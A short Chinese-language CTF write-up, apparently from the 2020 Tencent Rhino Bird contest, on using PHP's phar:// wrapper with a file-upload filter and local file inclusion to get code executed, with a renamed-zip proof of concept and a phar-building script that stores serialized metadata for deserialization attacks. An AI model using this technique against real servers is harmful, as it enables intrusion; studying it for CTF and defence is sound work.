phar在文件上传限制与lfi结合中getshell(2020腾讯犀牛鸟)
Environment
针对phar://不管后缀是什么,都会当做压缩包来解压。
phar文件本质上是也一种压缩文件。
用法:?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
poc1
将test.php压缩成test.zip,后缀改为test.txt上传1
2
3//test.php
<?php
phpinfo();
因为可以看到1
$inc=sprintf("%s.php",$file);
这也是为什么我们一开始要用test.php生成压缩包的原因
poc2
当然,在前面也说了phar本身就是一个压缩文件,所以可以看到很多wp上会先生成phar文件(===压缩包),然后改后缀上传
All Phar archives contain three to four sections:
1.a stub
A Phar’s stub is a simple PHP file. The smallest possible stub follows:<?php __HALT_COMPILER();
2.a manifest describing the contents
3.the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.[optional] a signature for verifying Phar integrity (phar file format only)
tip: php.ini中必须设置phar.readonly=Off。1
2
3
4
5
6
7
8
9
10
11
12
13<?php
class Test{
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php phpinfo();"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
phar与反序列化
https://blog.lou00.top/27/D3ctf-2019-Official-Writeup-ezupload/index.html